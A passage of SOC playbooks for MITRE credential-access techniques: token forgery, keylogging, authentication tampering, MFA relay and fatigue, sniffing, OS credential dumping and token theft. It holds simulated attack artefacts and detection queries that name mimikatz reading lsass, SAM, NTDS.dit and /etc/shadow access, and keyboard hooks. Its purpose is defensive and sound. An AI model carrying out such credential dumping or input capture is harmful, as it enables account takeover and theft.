- Known test environments

Medium

- Suspicious session reuse, no confirmed privilege abuse

High / Critical

- Forged cookies or SAML tokens confirmed
- Privileged or executive account impersonation
- MFA bypass achieved

Example severity: Critical

(Forged SAML token + admin role + MFA bypass)

Step-by-step SOC workflow

Step 1 Validate forged web credential activity

Confirm:

1. Was access granted without a corresponding login event?
2. Are cookies or tokens reused or altered?
3. Do claims (user, role, audience, lifetime) match policy?
4. Is this activity expected for the user/app?

Decision point

- Legitimate session continuation → document and monitor
- Forged or manipulated artefact → continue investigation immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Web cookies	Session reuse, no login	Session hijack
Cookie forgery	Altered values	Identity spoofing
SAML token forgery	Invalid signatures/claims	Full app access
Claim manipulation	Role escalation	Privilege abuse

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- Access without login or MFA

Attacker intent

- Skip identity controls

3B) Privilege Escalation

Indicators

- Elevated roles in token claims

Attacker intent

- Gain admin-level access

3C) Persistence via Sessions

Indicators

- Long-lived or reused tokens

Attacker intent

- Maintain access silently

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Use of forged identity across services
2. Lateral Movement
 - App-to-app access via SSO
3. Exfiltration
 - Data accessed during forged sessions
4. Persistence
 - Creation of new tokens or API keys

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Invalidate affected sessions, cookies and tokens
2. Force re-authentication for impacted users
3. Temporarily restrict affected apps or users

If abuse confirmed

1. Rotate signing keys (SAML / OIDC) if compromised
2. Reset credentials for impersonated users
3. Review IdP and app trust relationships
4. Preserve logs and artefacts for forensics

Eradication and recovery

- Enforce strict token validation (signature, audience, lifetime)
- Reduce token lifetimes and session duration
- Bind sessions to device, IP or risk signals
- Enable continuous access evaluation
- Monitor closely for renewed token misuse

Detection engineering (SIEM ideas)

A) Access without authentication

```
index=web_auth  
| where access_granted=true  
| where login_event=false
```

B) Session reuse anomalies

```
index=web_sessions  
| where device_fingerprint_changed=true  
| where geo_changed=true
```

C) SAML token validation failures

```
index=auth  
| where token_type="SAML"  
| where signature_valid=false OR audience_mismatch=true
```

D) MFA bypass detection

```
index=auth  
| where app_access=true  
| where mfa_challenge=false
```

| where app_requires_mfa=true

Analyst checklist

- Forged cookie or token confirmed
- Affected users and apps identified
- Sessions invalidated and keys rotated
- Trust relationships reviewed
- Monitoring strengthened

Post-incident improvements

1. Treat token forgery as Tier-0 identity compromise
2. Enforce strict token validation everywhere
3. Reduce reliance on long-lived sessions
4. Monitor session behaviour, not just logins
5. Include token-forgery scenarios in SOC and purple-team exercises

Playbook 138 (MITRE Credential Access): Input Capture

Technique: Input Capture

Sub-techniques covered:

- Keylogging
- GUI Input Capture
- Web Portal Capture
- Credential API Hooking

Purpose

Detect, investigate and respond to attacker capture of user input to steal credentials at the point of entry, enabling attackers to:

- Harvest usernames, passwords, PINs and MFA codes
- Capture credentials before encryption or secure submission
- Bypass password managers and MFA protections
- Steal credentials without touching credential stores
- Monitor ongoing user activity for future access

Input Capture is credential theft at the source attackers take secrets as users type or submit them.

When to trigger this playbook

Trigger this playbook when indicators suggest keyboard, GUI, browser or API-level input interception, including:

- Unexpected keyboard or mouse hooks
- Screen capture or window message interception
- Browser form data capture without submission logs
- Credential APIs being hooked or monitored
- Credentials used shortly after user entry from compromised hosts
- Endpoint security alerts related to input APIs

Example use case scenario (end-to-end)

Context: SOC notices valid VPN credentials being used shortly after a user logs in locally. No credential store access or phishing is observed. EDR analysis reveals a keylogger and credential API hook injected into a legitimate process.

Attacker objective: Steal credentials directly as users enter them, bypassing MFA and password storage protections.

Defender objective: Identify input capture mechanisms, remove malware and invalidate stolen credentials.

What it looks like (simulated SOC artefacts)

A) Keylogging

Process=unknown.exe
API=SetWindowsHookEx
HookType=WH_KEYBOARD_LL
CapturedInput:
username=j.smith
password=P@ssw0rd!

B) GUI Input Capture

Process=malware.dll
Action=ReadWindowMessages
TargetWindow=LoginDialog

C) Web Portal Capture

Browser=Chrome
FormField=password
CaptureMethod=InjectedJavaScript
SubmissionIntercepted=true

D) Credential API Hooking

HookedAPI=CredUIPromptForCredentials
ProcessInjected=lsass.exe

E) Immediate Credential Use

CredentialCapturedTime=10:02
AuthSuccessTime=10:04
SameEndpoint=true

F) No Credential Store Access

CredStoreRead=false
BrowserStoreRead=false

Severity decision (SOC)

Low

- Legitimate accessibility or automation tools (approved)

Medium

- Input hooks detected, credential theft unconfirmed

High / Critical

- Credentials captured and reused
- MFA bypass achieved
- Privileged user impacted

Example severity: Critical

(Keylogging + API hooking + VPN access)

Step-by-step SOC workflow

Step 1 Validate input capture activity

Confirm:

1. Are input hooks or capture APIs being used?
2. Which input types are captured (keyboard, GUI, web, API)?
3. Is the capturing process authorised and expected?
4. Were credentials used after capture?

Decision point

- Approved tooling → document and monitor
- Unauthorised input capture → continue investigation immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Keylogging	Keyboard hooks	Plaintext creds
GUI input capture	Window message reads	App passwords
Web portal capture	JS injection	SaaS creds
Credential API hooking	API interception	MFA bypass

Step 3 Map behaviour to attacker intent

3A) Credential Theft at Entry

Indicators

- Capture before encryption or submission

Attacker intent

- Steal secrets invisibly

3B) MFA Bypass

Indicators

- OTPs or approval prompts captured

Attacker intent

- Defeat strong auth controls

3C) Persistence via Monitoring

Indicators

- Continuous capture

Attacker intent

- Long-term credential harvesting

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Use of captured credentials
2. Use Alternate Authentication Material
 - Tokens, cookies captured via input
3. Lateral Movement
 - VPN, RDP, SaaS access
4. Impact
 - Data access, ransomware staging

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected endpoints
2. Terminate malicious processes and hooks
3. Block outbound access from compromised hosts

If abuse confirmed

1. Reset all credentials entered on affected systems
2. Revoke sessions, tokens and refresh tokens
3. Remove malware and persistence mechanisms
4. Preserve artefacts for forensic analysis

Eradication and recovery

- Rebuild compromised systems if integrity is uncertain
- Patch exploited vulnerabilities enabling injection
- Enforce EDR protections against API hooking
- Enable browser and OS hardening features
- Monitor closely for recurrence

Detection engineering (SIEM ideas)

A) Keyboard hook detection

```
index=edr  
| where api_call="SetWindowsHookEx"  
| where hook_type IN ("WH_KEYBOARD", "WH_KEYBOARD_LL")
```

B) GUI message interception

```
index=edr  
| where action="ReadWindowMessages"  
| where process NOT IN approved_accessibility_tools
```

C) Browser form interception

```
index=browser  
| where js_injection=true  
| where form_field="password"
```

D) Credential API hooking

```
index=edr  
| where api_call LIKE "%CredUI%"  
| where injected=true
```

Analyst checklist

1. Input capture technique confirmed
2. Affected users and systems identified
3. Credentials rotated and sessions revoked
4. Malware removed and persistence cleared
5. Detection rules updated

Post-incident improvements

- Treat input capture as Tier-0 credential compromise
- Monitor API hooks and input interception, not just file access
- Harden endpoints against injection and hooking
- Reduce credential entry on untrusted endpoints
- Include input-capture scenarios in SOC and purple-team exercises

Playbook 139 (MITRE Credential Access): Modify Authentication Process

Technique: Modify Authentication Process

Sub-techniques:

- Domain Controller Authentication
- Password Filter DLL
- Pluggable Authentication Modules
- Network Device Authentication
- Reversible Encryption
- Multi-Factor Authentication
- Hybrid Identity
- Network Provider DLL
- Conditional Access Policies

Purpose

Detect, investigate and respond to adversaries modifying authentication mechanisms to capture credentials, bypass controls or weaken identity assurance, enabling attackers to:

- Intercept usernames, passwords, hashes and tokens
- Bypass or downgrade authentication controls
- Maintain stealthy access without repeated exploitation
- Capture credentials at the authentication boundary itself
- Undermine Zero Trust and identity-based security models

Modify Authentication Process is credential access at the source of trust attackers don't steal credentials after login they alter how authentication works to steal them during login.

When to trigger this playbook

Trigger this playbook when indicators suggest authentication logic, components or policies have been altered, including:

- Unexpected changes to authentication DLLs, PAM modules or plugins
- Authentication succeeding without proper factors (e.g., MFA bypass)
- Passwords or hashes captured without brute force or dumping
- Identity policies modified outside change windows
- Network devices or cloud IAM behaving inconsistently

Example use case scenario (end-to-end)

Context: SOC observes successful logins where MFA was expected but not enforced. Further investigation shows a modified authentication DLL on a domain controller and a conditional access policy change in the cloud tenant.

Attacker objective: Capture credentials and bypass MFA by modifying authentication internals.

Defender objective: Detect tampering at the authentication layer and restore trust.

What it looks like (simulated SOC artefacts)

A) Domain Controller Authentication Modification

File=auth.dll

Location=System32

Hash=Changed

B) Password Filter DLL Abuse

DLL=custom_pwdflt.dll

Capture=Plaintext

C) PAM Module Tampering

Module=/etc/pam.d/common-auth

Change=Unauthorized

D) MFA Downgrade

Policy=MFARequired

Status=Disabled

E) Conditional Access Policy Change

Policy=GeoRestriction

Change=Relaxed

F) Credential Capture Outcome

Credentials=Captured

Method=Auth Interception

Severity decision (SOC)

Medium

- Suspicious auth configuration changes without confirmed abuse

High

- Authentication components modified

Critical

- Credentials captured or MFA bypass confirmed

Example severity: Critical

(Core identity trust compromised)

Step-by-step SOC workflow

Step 1 Validate authentication process modification

Confirm:

1. Were authentication components changed or replaced?
2. Were changes approved and documented?
3. Is authentication behaviour different from baseline?
4. Can credentials be captured or controls bypassed?

Decision point

- Legitimate change → validate and monitor
- Unauthorised modification → escalate immediately

Step 2 Identify sub-technique

Sub-technique	Indicator	Credential Risk
DC authentication	Modified auth DLLs	Domain-wide compromise

Password filter DLL	Password interception	Plaintext exposure
PAM modification	Linux credential capture	Root-level risk
Network auth	Device login tampering	Infrastructure access
Reversible encryption	Weak password storage	Offline cracking
MFA modification	Factor bypass	Account takeover
Hybrid identity	On-prem → cloud abuse	Tenant compromise
Network provider DLL	Auth interception	Credential harvesting
Conditional access	Policy relaxation	Silent bypass

Step 3 Map behaviour to attacker intent

3A) Credential Harvesting

Indicators

- Credentials captured at login

Attacker intent

- Steal secrets without brute force

3B) Authentication Bypass

Indicators

- MFA or policy disabled

Attacker intent

- Log in freely with stolen creds

3C) Long-Term Stealth

Indicators

- Subtle policy or DLL changes

Attacker intent

- Persistent, trusted access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Lateral use of captured credentials
2. Privilege Escalation
 - Domain admin or cloud role abuse
3. Persistence
 - Backdoored auth components
4. Lateral Movement
 - RDP, SMB, cloud console access

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected authentication systems
2. Disable compromised accounts and sessions
3. Roll back unauthorised authentication changes

If credential capture confirmed

1. Notify SOC leadership, IAM and identity owners
2. Assume credential compromise at scale
3. Initiate full credential reset programme

Eradication and recovery

- Restore authentication components from trusted backups
- Remove malicious DLLs, PAM modules or plugins
- Re-enable MFA and strict conditional access
- Rotate all credentials potentially exposed
- Validate authentication integrity across estate

Detection engineering (SIEM / IAM ideas)

A) Authentication component integrity

index=endpoint

| where file_path LIKE "%auth%" AND hash_changed=true

B) MFA or policy downgrade detection

index=iam

| where policy_change=true AND approved=false

C) Password filter / PAM changes

index=system

| where config_file IN ("/etc/pam.d/*","pwdflt.dll")

Analyst checklist

- Authentication modification confirmed
- Sub-technique identified
- Credential exposure assessed
- Controls restored
- Incident severity updated

Post-incident improvements

- Treat authentication logic as critical security code
- Enforce integrity monitoring on auth components
- Alert on any auth policy or DLL changes
- Require MFA and conditional access change approvals
- Regularly audit DCs, PAM configs and IAM policies

Playbook 140 (MITRE Credential Access): Multi-Factor Authentication Interception

Technique: Multi-Factor Authentication Interception

Purpose

Detect, investigate and respond to adversaries intercepting or relaying MFA challenges and responses to gain access despite MFA being enabled, enabling attackers to:

- Capture one-time passcodes (OTP), push approvals or cryptographic challenges
- Relay MFA in real time using phishing or adversary-in-the-middle (AiTM) techniques
- Bypass MFA without disabling it (stealth)
- Compromise accounts while leaving MFA “enabled” in policy
- Undermine Zero Trust and identity assurance

MFA Interception is credential theft in transit at the second factor attackers don’t break MFA they steal or relay it at the moment it’s used.

When to trigger this playbook

Trigger this playbook when indicators suggest MFA challenges or responses are being intercepted or abused, including:

- Successful logins immediately following phishing activity
- MFA approvals from unexpected locations, devices or IPs
- Short time gaps between password entry and MFA success from different networks
- Repeated MFA prompts followed by eventual success (push fatigue precursor)
- Authentication sessions established via suspicious proxies or token relays

Example use case scenario (end-to-end)

Context: A user reports a suspicious login alert but MFA is enabled. Logs show a login from a new IP with valid MFA approval seconds after the user entered credentials on a phishing page that proxied the login in real time.

Attacker objective: Bypass MFA by intercepting and relaying the MFA challenge/response.

Defender objective: Detect real-time MFA relay and invalidate compromised sessions.

What it looks like (simulated SOC artefacts)

A) Phishing-Triggered Login

User=alex.w

PasswordAuth=Success

SourceIP=PhishProxyIP

B) MFA Challenge Issued

MFAType=OTP/Push

ChallengeID=9f3a

C) MFA Response Intercepted/Relayed

ResponseTime=3s

ResponderIP=PhishProxyIP

D) Session Established

Session=Active

AuthMethod=Password+MFA

E) Location Mismatch

UserLocation=MY

LoginLocation=EU

F) Evasion Outcome

MFA=Enabled

Access=Compromised

Detection=Delayed

Severity decision (SOC)

Medium

- Suspicious MFA behaviour without confirmed access

High

- MFA relay suspected with successful login

Critical

- Confirmed MFA interception with account compromise

Example severity: Critical

(MFA trust boundary bypassed)

Step-by-step SOC workflow

Step 1 Validate MFA interception

Confirm:

1. Did MFA succeed unexpectedly following phishing or abnormal access?
2. Was MFA approval near-instant from a different network than the user?
3. Are login IP/device fingerprints inconsistent with the user?
4. Is there evidence of AiTM, proxying or token relay?

Decision point

- User error / benign travel → validate user context
- MFA relay/interception → escalate immediately

Step 2 Identify interception pattern

Indicator	Meaning	Risk
Real-time MFA success	Relay attack	High
IP/device mismatch	Proxy usage	High
Phishing correlation	Credential capture	Critical
Session token reuse	Persistent access	Critical

Step 3 Map behaviour to attacker intent

3A) MFA Bypass Without Policy Change

Indicators

- MFA enabled, still compromised

Attacker intent

- Evade detection and audits

3B) Rapid Account Takeover

Indicators

- Immediate access post-phish

Attacker intent

Monetise access quickly

3C) Session Persistence

Indicators

- Token reuse without re-prompt

Attacker intent

- Maintain access silently

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Lateral use of compromised identity
2. Privilege Escalation
 - Role changes, admin access
3. Persistence
 - Token refresh, trusted devices
4. Exfiltration
 - Cloud or mailbox data access

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Revoke all active sessions and refresh tokens
2. Disable the affected account temporarily
3. Block identified phishing domains and proxy IPs

If MFA interception confirmed

1. Notify SOC leadership and IAM owners
2. Assume credential + MFA compromise
3. Expand scope to users targeted by the same campaign

Eradication and recovery

- Reset passwords and re-enrol MFA
- Rotate session tokens, API keys and app secrets
- Remove malicious “remembered devices” or trusted sessions
- Enforce phishing-resistant MFA where possible (FIDO2)
- Validate no persistent access remains

Detection engineering (SIEM / IAM ideas)

A) MFA success with IP mismatch

index=auth

| where mfa_success=true

| where login_ip!=user_last_ip AND response_time < 5

B) MFA success after phishing signal

index=auth

| join user [search index=email | where phishing=true]

C) Token relay indicators

index=iam

| where session_token_reused=true AND device_new=true

Analyst checklist

- MFA interception validated
- Compromised sessions revoked

- Credentials and MFA reset
- Campaign scope assessed
- Incident severity updated

Post-incident improvements

- Prefer phishing-resistant MFA (FIDO2, passkeys)
- Alert on near-instant MFA approvals from new IPs
- Correlate phishing telemetry with auth events
- Limit session lifetime and token reuse
- Educate users on MFA fatigue and real-time phishing

Playbook 141 (MITRE Credential Access): Multi-Factor Authentication Request Generation

Technique: Multi-Factor Authentication Request Generation

Purpose

Detect, investigate and respond to adversaries deliberately generating excessive or manipulated MFA requests to coerce users into approving a malicious authentication attempt, enabling attackers to:

- Bypass MFA through user fatigue or confusion
- Social-engineer approval without intercepting MFA tokens
- Compromise accounts while MFA remains enabled
- Blend attacks into legitimate authentication flows
- Evade controls by exploiting human behaviour rather than technology

MFA Request Generation is credential access through psychological pressure attackers don't steal the factor they convince the user to approve it.

When to trigger this playbook

Trigger this playbook when indicators suggest abnormal MFA request patterns, including:

- Multiple MFA prompts sent in rapid succession
- Repeated MFA challenges without corresponding successful logins
- MFA requests generated outside normal user activity hours
- Users reporting "too many MFA prompts"
- Eventual MFA approval following multiple denials

Example use case scenario (end-to-end)

Context: A user reports receiving repeated MFA push notifications overnight. Logs show 20+ MFA requests in 10 minutes, followed by a single approval. Minutes later, mailbox rules are modified and files accessed.

Attacker objective: Obtain access by bombarding the user with MFA requests until one is approved.

Defender objective: Detect coercive MFA patterns and prevent account takeover.

What it looks like (simulated SOC artefacts)

A) Excessive MFA Requests

User=sarah.k

MFARequests=27

TimeWindow=8min

B) Repeated Denials

MFAResponse=Denied

Count=26

C) Eventual Approval

MFAResponse=Approved

Time=02:41AM

D) Immediate Login

AuthResult=Success

IP=Unknown

Device=New

E) Follow-On Activity

MailboxRules=Created

Files=Accessed

F) Evasion Outcome

MFA=Enabled

UserAction=Manipulated

Severity decision (SOC)

Medium

- MFA request spam detected, no approval

High

- MFA request spam with suspicious approval

Critical

- Account compromise following MFA fatigue

Example severity: High / Critical

(Human-factor MFA bypass)

Step-by-step SOC workflow

Step 1 Validate MFA request abuse

Confirm:

1. Are MFA requests excessive or repetitive?
2. Do requests originate from unusual IPs or locations?
3. Was there eventual approval after denials?
4. Did approval lead to account access or changes?

Decision point

- Legitimate login issues → assist user
- MFA fatigue attack → escalate immediately

Step 2 Identify request generation pattern

Indicator	Meaning	Risk
High request volume	Fatigue attempt	High
Off-hours prompts	Coercion	High
Approval after spam	User pressured	Critical
New device/IP	Attacker login	Critical

Step 3 Map behaviour to attacker intent

3A) User Fatigue Exploitation

Indicators

- Dozens of prompts

Attacker intent

- Wear down user resistance

3B) Stealthy MFA Bypass

Indicators

- MFA technically enabled

Attacker intent

- Avoid detection tied to MFA disablement

3C) Rapid Account Takeover

Indicators

- Immediate post-approval activity

Attacker intent

- Act before detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Lateral movement using compromised identity
2. Persistence
 - Mailbox rules, trusted devices
3. Exfiltration
 - Cloud storage, email data
4. Privilege Escalation
 - Role or group changes

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Revoke all active sessions and tokens
2. Temporarily disable the affected account
3. Block attacker IPs and authentication attempts

If MFA fatigue confirmed

1. Notify SOC leadership and IAM teams
2. Assume credential compromise
3. Identify other users targeted similarly

Eradication and recovery

- Reset passwords and re-register MFA
- Remove suspicious devices, sessions and rules
- Enforce MFA request rate-limiting
- Educate user on rejecting unexpected prompts
- Validate no persistence remains

Detection engineering (SIEM / IAM ideas)

A) MFA request burst detection

index=auth

| where mfa_request=true

| stats count by user, _time

| where count > threshold

B) Approval after repeated denials

index=auth

| transaction user maxspan=10m

| where mfa_denied>5 AND mfa_approved=1

C) Off-hours MFA activity

index=auth

| where mfa_request=true AND hour < 6

Analyst checklist

- MFA request abuse confirmed
- Approval pattern analysed
- Sessions revoked
- User and IAM teams notified
- Incident severity updated

Post-incident improvements

- Enforce MFA request throttling and lockouts
- Require number matching or challenge confirmation
- Alert users clearly on suspicious MFA activity
- Correlate MFA spam with login attempts
- Prefer phishing-resistant MFA where possible

Playbook 142 (MITRE Credential Access): Network Sniffing

Technique: Network Sniffing

Purpose

Detect, investigate and respond to attacker capture of network traffic to extract credentials, tokens or sensitive data, enabling attackers to:

1. Steal plaintext or weakly protected credentials
2. Capture authentication handshakes (NTLM, Kerberos, LDAP, HTTP)
3. Harvest session cookies, API tokens and secrets in transit
4. Observe internal network behaviour for later attacks
5. Prepare relay, replay or offline cracking attacks

Network Sniffing is credential theft by observation attackers don't interact with users or systems, they quietly listen.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised packet capture or traffic inspection, including:

- Endpoints or servers entering promiscuous mode
- Packet capture tools running outside approved contexts
- Cleartext credentials observed on the wire
- Unexpected ARP, mirror or span-port behaviour
- Credential use without endpoint compromise evidence
- Network devices or hypervisors showing sniffing behaviour

Example use case scenario (end-to-end)

Context: SOC detects unusual ARP activity and discovers an internal Linux server running tcpdump. Shortly after, multiple internal credentials are used successfully without phishing or malware evidence. Analysis confirms network sniffing of unencrypted LDAP and SMB traffic.

Attacker objective: Harvest credentials and session data directly from the network.

Defender objective: Identify sniffing points, stop traffic capture and invalidate exposed credentials.

What it looks like (simulated SOC artefacts)

A) Packet Capture Tool Execution

Process=tcpdump
Interface=eth0
Mode=Promiscuous

B) Promiscuous Mode Detected

NIC=eth0
Promiscuous=true
Host=SERVER01

C) Cleartext Credential Capture

Protocol=HTTP
Authorization=Basic
Username=user1
Password=cleartext

D) NTLM / Kerberos Handshake Observed

Protocol=SMB
Auth=NTLM
HashCaptured=true

E) Session Cookie Capture

Protocol=HTTPS (misconfigured)
SessionCookie=Captured
ReuseDetected=true

F) Credential Use Without Endpoint Artefacts

EndpointMalware=false
AuthSuccess=true
SourceIP=Internal

Severity decision (SOC)

Low

- Approved packet capture for troubleshooting

Medium

- Sniffing detected, no confirmed credential exposure

High / Critical

- Credentials, tokens or sessions captured
- Lateral movement or access achieved via sniffed data

Example severity: Critical

(Unauthorised sniffing + cleartext creds + internal access)

Step-by-step SOC workflow

Step 1 Validate network sniffing activity

Confirm:

1. Is packet capture authorised and documented?
2. Which host, interface and network segment is affected?
3. Is the interface in promiscuous mode?
4. Were credentials or sensitive data visible?

Decision point

- Approved capture → document and monitor
- Unauthorised sniffing → continue investigation immediately

Step 2 Identify sniffing vector and scope

Vector	Evidence	Attacker value
Endpoint sniffing	tcpdump/Wireshark	Local traffic
Network device sniffing	SPAN abuse	Broad visibility
ARP-based sniffing	MITM position	Credential capture
Virtual switch sniffing	Hypervisor access	Multi-VM exposure

Step 3 Map behaviour to attacker intent

3A) Credential Harvesting

Indicators

- Plaintext or weakly protected auth observed

Attacker intent

- Steal reusable credentials

3B) Session Hijacking

Indicators

- Cookies or tokens captured

Attacker intent

- Bypass authentication

3C) Reconnaissance

Indicators

- Broad traffic monitoring

Attacker intent

- Understand network and targets

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Adversary-in-the-Middle
 - Relay or replay attempts
2. Valid Accounts
 - Use of sniffed credentials
3. Lateral Movement
 - SMB, LDAP, SSH, RDP access
4. Impact
 - Data access, ransomware staging

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Disable promiscuous mode on affected interfaces
2. Terminate packet capture processes

3. Isolate compromised hosts

If abuse confirmed

1. Reset all credentials observed on the wire
2. Invalidate sessions and tokens
3. Remove attacker access and persistence
4. Preserve packet captures and logs for forensics

Eradication and recovery

- Rebuild compromised systems if integrity is uncertain
- Enforce encryption for all internal authentication (LDAPS, SMB signing, HTTPS)
- Remove unnecessary packet capture permissions
- Harden network segmentation and monitoring
- Monitor closely for renewed sniffing attempts

Detection engineering (SIEM ideas)

A) Promiscuous mode detection

```
index=edr  
| where nic_mode="Promiscuous"  
| where approved=false
```

B) Packet capture tool execution

```
index=edr  
| where process IN ("tcpdump","wireshark","tshark","dumpcap")
```

C) Cleartext authentication detection

```
index=network  
| where protocol IN ("HTTP","LDAP","FTP")  
| where auth_present=true
```

D) Credential use without endpoint compromise

```
index=auth  
| where auth_success=true  
| where endpoint_alerts=false
```

Analyst checklist

- Network sniffing confirmed
- Capture point identified
- Credentials or tokens exposed assessed
- Accounts reset and sessions revoked
- Preventive controls enforced

Post-incident improvements

- Treat internal cleartext traffic as credential exposure risk
- Enforce encryption and signing everywhere
- Monitor for promiscuous mode and sniffing tools
- Restrict packet capture capabilities
- Include network sniffing scenarios in SOC and purple-team exercises

Playbook 143 (MITRE Credential Access): OS Credential Dumping

Technique: OS Credential Dumping

Sub-techniques covered:

- LSASS Memory
- Security Account Manager
- NTDS.dit
- LSA Secrets
- Cached Domain Credentials
- DCSync
- Proc Filesystem
- /etc/passwd and /etc/shadow

Purpose

Detect, investigate and respond to attacker extraction of credentials directly from operating system components, enabling attackers to:

- Steal password hashes, plaintext credentials and tickets
- Bypass MFA and application-layer protections
- Escalate privileges and move laterally at scale
- Persist using valid accounts and authentication material
- Compromise entire domains or environments

OS Credential Dumping is core identity theft attackers take secrets from the OS itself, often at SYSTEM / root level.

When to trigger this playbook

Trigger this playbook when indicators suggest access to OS credential stores or memory, including:

- Access to LSASS memory or credential APIs
- Reads of SAM, SYSTEM or NTDS files
- DCSync operations against domain controllers
- Unusual access to /proc/*/mem or shadow files
- Credential use without user interaction or phishing
- EDR alerts related to credential dumping tools or APIs

Example use case scenario (end-to-end)

Context: SOC detects suspicious PowerShell activity on a workstation. Minutes later, multiple privileged logins occur across servers. EDR confirms LSASS memory access, followed by DCSync from a compromised admin account.

Attacker objective: Extract credentials at the OS level to take over the environment.

Defender objective: Stop credential dumping, invalidate exposed secrets and protect identity infrastructure.

What it looks like (simulated SOC artefacts)

A) LSASS Memory Access

Process=mimikatz.exe

Target=lsass.exe

Action=ReadMemory

B) SAM Database Access

FileRead=C:\Windows\System32\config\SAM

Privilege=SYSTEM

C) NTDS.dit Access

FileCopy=NTDS.dit

Source=DomainController

D) LSA Secrets Dump

RegistryRead:

HKLM\Security\Policy\Secrets

E) Cached Domain Credentials

CacheType=MSCacheV2

HashesExtracted=true

F) DCSync Operation

EventID=4662

ReplicationRequest=DS-Replication-Get-Changes

Requester=Non-DC Account

G) Proc Filesystem Abuse (Linux)

/proc/1234/mem read
Process=ssh

H) /etc/shadow Access

FileRead=/etc/shadow
UID=0

Severity decision (SOC)

Low

- Approved forensic or backup activity (documented)

Medium

- Credential store access detected, no confirmed misuse

High / Critical

- Credentials extracted or reused
- Domain controller or root-level compromise
- Lateral movement using dumped credentials

Example severity: Critical

(LSASS dump + DCSync + domain admin reuse)

Step-by-step SOC workflow

Step 1 Validate OS credential dumping

Confirm:

1. Which OS component was accessed (LSASS, SAM, NTDS, shadow)?
2. Was access authorised and expected?
3. Did the process require elevated privileges?
4. Are dumped credentials used elsewhere?

Decision point

- Legitimate admin/forensic activity → document and monitor
- Unauthorised dumping → continue investigation immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
LSASS memory	Memory reads	Plaintext creds
SAM	Local hashes	Local admin access
NTDS.dit	Domain database	Full domain takeover
LSA secrets	Service secrets	Privilege escalation
Cached creds	Offline cracking	Stealth access
DCSync	Replication abuse	Domain-wide hashes
Proc filesystem	Process memory	Linux creds
Shadow files	Password hashes	Root-level access

Step 3 Map behaviour to attacker intent

3A) Credential Harvesting at OS Level

Indicators

- Direct access to OS credential stores

Attacker intent

- Obtain high-value secrets quickly

3B) Lateral Movement & Privilege Escalation

Indicators

- Use of dumped hashes/tickets

Attacker intent

- Expand control across environment

3C) Persistence

Indicators

- Valid account reuse

Attacker intent

- Maintain access without malware

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Pass-the-Hash / Pass-the-Ticket
2. Lateral Movement
 - SMB, WinRM, SSH, RDP
3. Persistence
 - Account manipulation, backdoor users
4. Impact
 - Ransomware, data exfiltration

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected hosts (especially DCs)
2. Terminate credential dumping processes
3. Disable compromised accounts

If abuse confirmed

1. Rotate all exposed credentials and service accounts
2. Reset KRBTGT account (for DCSync / NTDS exposure)
3. Invalidate sessions, tickets and tokens
4. Preserve memory dumps and logs for forensics

Eradication and recovery

- Rebuild compromised systems if integrity is uncertain
- Enforce LSASS protections (PPL, Credential Guard)
- Harden Linux systems (hidepid, SELinux/AppArmor)
- Restrict replication permissions tightly
- Monitor aggressively for reuse of dumped credentials

Detection engineering (SIEM ideas)

A) LSASS access detection

```
index=edr  
| where target_process="lsass.exe"
```

| where action IN ("ReadMemory","OpenProcess")

B) DCSync detection

index=windows

| where event_id=4662

| where object_access LIKE "%Replication%"

| where account NOT IN domain_controllers

C) SAM / NTDS access

index=windows

| where file_path LIKE "%\\config\\SAM%" OR file_path LIKE "%NTDS.dit%"

D) Linux shadow access

index=linux

| where file="/etc/shadow"

| where uid != 0

Analyst checklist

- OS credential dumping confirmed
- Affected systems and accounts identified
- Credentials rotated and tickets reset
- Lateral movement assessed
- Controls hardened

Post-incident improvements

- Treat OS credential stores as Tier-0 assets
- Enforce memory protections and least privilege
- Monitor replication and memory access aggressively
- Reduce credential exposure footprint
- Include OS dumping scenarios in SOC and purple-team exercises

Playbook 144 (MITRE Credential Access): Steal Application Access Token

Technique: Steal Application Access Token

Purpose

Detect, investigate and respond to attacker theft of application-issued access tokens (OAuth/OIDC/API tokens), enabling attackers to:

- Impersonate users or applications without passwords
- Bypass MFA and interactive authentication entirely
- Access SaaS, cloud APIs and internal web services
- Persist via long-lived refresh tokens
- Operate silently with valid, trusted identity artefacts

Steal Application Access Token is identity theft by artefact reuse attackers take what the app already trusts.

When to trigger this playbook

Trigger this playbook when indicators suggest token capture, replay or misuse, including:

- API or app access without corresponding login events
- Token reuse from new IPs, devices or geographies
- Refresh tokens used beyond expected lifetime or context
- Access via OAuth scopes inconsistent with user role
- Tokens observed in logs, memory, browser storage or network captures
- Compromised apps or scripts calling APIs successfully without auth prompts

Example use case scenario (end-to-end)

Context: SOC detects abnormal API calls to a cloud service from an unfamiliar IP. No login or MFA event is recorded. Investigation reveals a stolen OAuth access token extracted from a developer workstation and replayed by the attacker.

Attacker objective: Access applications and APIs without authenticating, using stolen tokens.

Defender objective: Invalidate stolen tokens, assess scope of access and prevent replay.

What it looks like (simulated SOC artefacts)

A) Access Without Login

App=CRM
API=ListCustomers
AuthMethod=BearerToken
LoginEvent=None

B) Token Reuse From New Context

TokenID=abc123
OriginalIP=10.10.10.5
ReplayIP=185.xxx.xxx.xxx
DeviceFingerprint=Changed

C) Refresh Token Abuse

GrantType=refresh_token
Frequency=High
UserInteraction=None

